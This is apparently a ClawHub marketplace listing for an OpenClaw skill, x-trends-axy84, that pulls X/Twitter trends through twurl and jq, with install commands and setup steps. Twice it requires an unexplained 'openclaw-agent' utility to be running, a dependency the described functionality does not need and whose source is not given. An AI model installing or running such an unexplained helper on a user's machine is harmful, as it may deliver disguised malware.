A powerful utility for retrieving, filtering, and analyzing real-time trending topics and hashtags from X using the twurl CLI.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install x-trends-axy84
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install x-trends-axy84 using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is x-trends?
The x-trends skill empowers AI agents to tap into the pulse of the internet by fetching real-time data from X. By leveraging the official Twitter CLI tool, twurl, this skill allows for granular analysis of what is popular globally or in specific geographic regions. It is an essential component for developers and marketers using Openclaw Skills who need to track viral content, monitor brand mentions, or conduct sentiment analysis across various demographics.
Built to integrate seamlessly with modern agentic workflows, this skill handles the complexities of API communication and data filtering. Whether you are looking for worldwide trends or localized data for a specific country, x-trends provides the technical bridge needed to transform social media noise into actionable insights.
x-trends Use Cases
- Monitoring global or regional viral hashtags for marketing campaigns.
- Researching current events and news trends across different countries.
- Analyzing tweet volume for specific topics to gauge public interest.
- Filtering trending tweets by media content or account verification status.
- Automating social media reports based on localized WOEID data.
How x-trends Works
- The user ensures the openclaw-agent is active on their machine to bridge communication between the local environment and the AI.
- The skill utilizes the twurl CLI to authenticate with X/Twitter API credentials securely.
- Requests are sent to the Twitter API v1.1 or v2 endpoints depending on whether trends or tweet searches are required.
- Data is piped through jq to filter and format the JSON response into readable, structured blocks.
- The AI agent processes the resulting trend names, volumes, and URLs for further action, reporting, or content creation.
x-trends Setup
First, install the twurl CLI as a Ruby gem:
gem install twurl
Next, authorize the tool with your X API credentials:
twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET
Finally, ensure the openclaw-agent utility is running in your environment to enable trend retrieval and search operations for Openclaw Skills.
x-trends Data Schema & Taxonomy
The skill returns structured JSON data optimized for parsing. Key fields include:
| Field | Description |
|---|---|
| name | The hashtag or trend name |
| url | Direct link to the search results on X |
| tweet_volume | Number of tweets in the last 24 hours (if available) |
| promoted_content | Boolean indicating if the trend is an advertisement |
| woeid | Where On Earth ID used for geographical filtering |
x-trends Advanced Features
- Multi-location trend tracking using specific WOEIDs (e.g., USA, UK, Japan, Brazil).
- Advanced search filtering to isolate tweets containing media or from verified users only.
- Automatic coordinate-based location discovery for localized social research via latitude and longitude.
- High-performance data manipulation using jq for custom JSON filtering and reporting.
SKILL.md
Loading
Related Openclaw Skills
X (Twitter) Trends
A powerful utility for AI agents to retrieve, filter, and analyze real-time trending topics and hashtags from X (Twitter) across global and local markets.
X (Twitter) Trends
A specialized skill for AI agents to retrieve, filter, and analyze real-time trending topics and hashtags on X (Twitter) across global and local markets.
Wallet Tracker
A real-time blockchain monitoring tool for tracking multi-chain wallet activity, token transfers, and whale movements.
Wallet Tracker
A real-time blockchain monitoring tool for tracking whale movements, portfolio changes, and transaction alerts across multiple chains.
x-trends
A specialized tool for retrieving and analyzing real-time trending topics, hashtags, and location-specific popular content on X (Twitter).
X (Twitter) Trends Agent Skill
A powerful tool for fetching real-time X (Twitter) trending topics and searching tweets based on current popular hashtags and locations.
METADATA
Featured*
